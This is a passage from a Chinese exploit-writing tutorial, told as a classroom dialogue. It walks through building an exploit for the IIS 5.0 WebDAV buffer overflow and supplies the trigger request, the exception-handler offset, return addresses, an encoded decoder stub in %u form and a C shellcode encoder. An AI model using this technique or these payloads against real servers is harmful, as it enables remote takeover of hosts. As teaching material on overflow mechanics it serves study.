5.5.3 实际运用——WebDav漏洞编写

“WebDav溢出漏洞是IIS漏洞的一种,要利用它有一定的难度!”

“哦,比较难啊?难在什么地方呢?”

“呵呵,我们一起往下走就知道了。虽然比较困难,但搞清楚之后对大家的思路扩展是很有好处的!”

“哦!好Yeah!”

小知识:

IIS5 默认提供了对WebDAV的支持,通过WebDAV,可以利用HTTP向用户提供远程文件存储的服务。IIS 5.0包含的WebDAV组件不充分检查传递给部分系统组件的数据,远程攻击者利用这个漏洞对WebDAV进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。IIS 5.0的WebDAV使用了ntdll.dll中的一些函数,而这些函数存在一个缓冲区溢出漏洞,通过对WebDAV的畸形请求可以触发这个溢出。成功利用这个漏洞可以获得LocalSystem权限。这意味着入侵者可获得主机的完全控制能力。

“这个漏洞还是很有用的吧!而且在Win2000 SP3中也有这个漏洞哦!”

“这个漏洞产生的机理相当复杂。我简单的说吧!发出如下请求时,IIS就会把‘buffer’加上几个字节的路径,作拷贝操作。”

SEARCH /[buffer] HTTP/1.0
Host:xxx
Content-Type: text/xml
Content-length: 3
xxx

“在拷贝中没有作边界检查?所以溢出?”同学们问道。

“不,在拷贝前是作了检查的!而且很严格,用变量Length保存长度,如果Length超过了8,那就不作拷贝!”

“哦?那怎么引发溢出的呢?”

“呵呵,这就是此漏洞的第一个奇妙之处。虽然程序先计算出长度,保存在Length中,但Length是无符号短整数类型,只能存65535。但是,我们的‘buffer’可以超过65535的限制,那Length就无法容纳,就会溢出。例如当路径长度是65536,那么,Length就变成0了,拷贝前的判断就为真,从而可以拷贝了。在拷贝时,‘buffer’实际是65536那么长,当然溢出了!”

“哦!的确很奇妙啊!”

“这个溢出从本质上说是一个短整型数溢出,而后导致了堆栈溢出。这一点是值得研究的。”

“嗯!”大家都点点头。

“好,我们继续。Bufer超过65535时就会溢出,拷贝时就会引发异常。我们用覆盖异常处理点的方法,用经典三步骤写出Exploit的雏形吧!”

“第一步:异常处理点的位置。在Buffer第266的位置左右,这里要注意,是左右哦!”

“第二步:ShellCode。现在可以用现成的,也可以用我们自己写的。就加个帐户吧!”

“第三步:Jmp /call ebx的地址——先用0x7FFA1571试试。”

“等一下,”古风急了,“为什么在266位置左右呢?不能精确吗?”

“这就是此漏洞的第二个奇妙之处。刚才说过,IIS会把‘buffer’加上几个字节的路径后作拷贝。但那个路径会因为机器不同、安装目录不同而引发长度不一样,所以不能统一。比如,我的IIS安装在C:\inetpub\wwwroot下,那Buffer要长度正好是269才能到达异常处理点。”

“真是越来越麻烦了!”

“的确,但这都是小问题,实际中改变长度多试几次就可以了。真正的考验还在后面呢!”

“哇!”大家都吓住了。

“大家要获得技术的突破,一定要有耐心和毅力,不要怕,我们继续!”

“不用担心,大家一定可以解决的!”老师努力给大家打气。

“嗯!我们一定要把它解决!”大家都气势如宏,“我们写出Exploit的初步构造吧!如图5-15。”

“但应该没这么简单,还有其他玄机吧?”同学们都望着老师。

“呵呵!不急,我们一步步的来。回想一下以前讲的IDA/IDQ漏洞,我们作了什么处理?”

“对哈!IIS会作变换成宽字节的处理!”同学们叫了起来,“我们应该加上‘%u’防止被扩展变化!”

“我们先把JMP 04、JMP EBX地址和ShellCode都加上‘%u’试试。”

“好哩!”古风把‘%u’加了上去,这是他的强项!

“OK,运行一下试试!”

编译、执行,毫无反应。

“果然没那么简单。”古风自言自语道。

“嗯,这个漏洞和IDA/IDQ不同,IDA/IDQ发现‘%u’标志后,就不对后面的字节进行Unicode转换;而Webdav是‘%u’也要作Unicode转换,但过后要转换回单字节。”

“小于0x80单字节字符转换时会被转换成‘\xXX\x00’的形式,然后又被转换回‘XX’,可以不变;但大于0x80的,系统会认为后面还有一个字节的字符,与这个字符一起组成一个完整宽‘字符’来作转换。比如,‘\x61\x81\x81’会被转换为‘\x61\x00\xXX\xXX’;如果不合编码规范,转回来时,就变成‘\x61\xXX\xXX’,而不是原来的\x61\x81\x81’了。”

“所以问题就在于转换。小于0x80的会符合要求;但大于0x80、不符合编码范围的就会被替换掉!转换完毕后,当然就不是我们想要的字符串啦!”

“哇!这样啊!”

“这就是该漏洞的第三个奇妙之处。大家想想怎么办?”老师又开始让同学们开动脑筋了。

“如果不符合编码范围,会被改变;那我们把JMP 04,JMP EBX的地址和Shellcode都使用符合编码范围的字符吧!”宇强思考后说。

“嗯!很好!思路就是这样,我们使用符合编码范围的字符。这样,‘\xXX’在转换成宽字节后,就变为‘\xXX\x00’了;再被转换回来,就又成了‘\xXX’,不会被改变。”

“但大家想想,JMP 04,JMP EBX的地址符合规范比较容易,Shellcode也可用前面的方法(比如替换法)进行编码,但要decode全部都符合编码要求实在是太困难了。”

“难啊!难于上青天啊!”大家感叹道,“那怎么办啊?”

“这里,我给大家再介绍一位前辈级的人物——yuange!他提出的解决办法如下:”

1.把real shellcode编码成小于0x80的字符。这样,在经过转换后就成为‘\xXX\x00’了,字符不会被改变。

2.再精心编写一段符合编码范围的代码,用这些代码来解码上述经过编码的real shellcode!

“哦?”

“yange提出的具体算法就是:编码时把shellcode的字符0xXY变成0x0X和0x0Y,这样一定可以符合小于0x80要求;而在解码中,用0xa*0x10+0xb=0xab的算法来恢复。”

“而解码的代码是yuange精心打造的,全部符合简体中文编码范围要求的CPU指令。大家看看吧!”

  "%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f"
  "%u66ad%u4e3d%u7400%u9023%u612c%u5090%u6659%u90ad"
  "%u612c%u548d%u7088%u548d%u908a%u548d%u708a%u548d"
  "%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3"
  "%u6099";

“哇!太强了!”大家都面带钦佩之色。

“是啊,yuange这样的人才算得上真正的黑客啊!技术高超,而且无私共享。”

“嗯!向yuange学习!向yuange致敬!”大家发出由衷的呐喊。

老师笑道:“下面我们把Exploit完成吧!我们先把ShellCode用yuange的算法进行编码,实现的算法就是:”

unsigned char ShellCode[] = 
    "\x81\xF4\xE2";
unsigned char enShellCode[200];
int main()
{
    int i,nLen;
    unsigned char temp;
    nLen = sizeof(ShellCode)-1; //ShellCode长度
    for(i=0;i<nLen;i++)
    {
        temp=ShellCode[i];
        enShellCode[2*i] = temp/0x10;
        enShellCode[2*i+1] = temp%0x10; //把0xab拆分为0xa、0xb并保存 
    }
}

“把ShellCode编码成符合要求的EnShellcode后;在EnShellCode前放上解码代码DeCode,功能是把EnShellCode解码还原成真正的ShellCode,并跳过去执行!格式如图5-16!”

“注意,我们还要把JMP EBX地址用符合规范的0x695c6772代替,JMP 04用0x58685159来代替!这样就全部符合编码的规范了!”

“哇!还真不容易。”大家擦擦汗。

“呵呵!这是写溢出时常用的技巧。我们看看成果吧!”

编译、执行!成功了!

“哦!”大家都欢呼了起来,经过无数的困难下取得的成功是最甜美的。

“看来大家都很有兴趣,那我们继续向困难挑战,讨论更困难情况下的处理办法——内存搜索法。”